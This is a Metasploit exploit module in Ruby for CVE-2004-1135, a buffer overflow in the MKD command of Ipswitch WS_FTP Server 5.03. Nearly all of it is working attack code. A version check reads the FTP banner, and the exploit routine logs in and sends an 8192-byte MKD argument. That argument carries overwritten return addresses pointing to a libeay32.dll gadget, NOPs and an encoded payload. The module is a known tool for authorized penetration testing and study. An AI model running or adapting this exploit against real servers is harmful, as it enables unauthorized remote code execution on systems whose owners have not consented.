WS-FTP Server 5.03 MKD Overflow



##

# $Id: wsftp_server_503_mkd.rb 10559 2010-10-05 23:41:17Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::Remote::Ftp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'WS-FTP Server 5.03 MKD Overflow',
            'Description'    => %q{
                This module exploits the buffer overflow found in the MKD
                command in IPSWITCH WS_FTP Server 5.03 discovered by Reed
                Arvin.
            },
            'Author'         => [ 'et', 'Reed Arvin <reedarvin@gmail.com>' ],
            'License'        => BSD_LICENSE,
            'Version'        => '$Revision: 10559 $',
            'Platform'       => [ 'win' ],
            'References'     =>
                [
                    [ 'CVE', '2004-1135' ],
                    [ 'OSVDB', '12509' ],
                    [ 'BID', '11772'],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'    => 480,
                    'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
                    'StackAdjustment' => -3500,
                },
            'Targets'        =>
                [
                    [
                        'WS-FTP Server 5.03 Universal',
                        {
                            'Ret'      => 0x25185bb8,
                            # Address is executable to allow XP and 2K
                            # 0x25185bb8 = push esp, ret (libeay32.dll)
                            # B85B1825XX = mov eax,0xXX25185b
                        },
                    ],
                ],
            'DisclosureDate' => 'Nov 29 2004',
            'DefaultTarget' => 0))
    end

    def check
        connect
        disconnect
        if (banner =~ /5\.0\.3/)
            return Exploit::CheckCode::Vulnerable
        end
        return Exploit::CheckCode::Safe
    end

    def exploit
        connect_login

        print_status("Trying target #{target.name}...")

        buf         = rand_text_alphanumeric(8192)
        buf[498, 4] = [ 0x7ffd3001 ].pack('V')
        buf[514, 4] = [ target.ret ].pack('V')
        buf[518, 4] = [ target.ret ].pack('V')
        buf[522, 2] = make_nops(2)
        buf[524, payload.encoded.length] = payload.encoded

        send_cmd( ['MKD', buf], true );

        handler
        disconnect
    end

end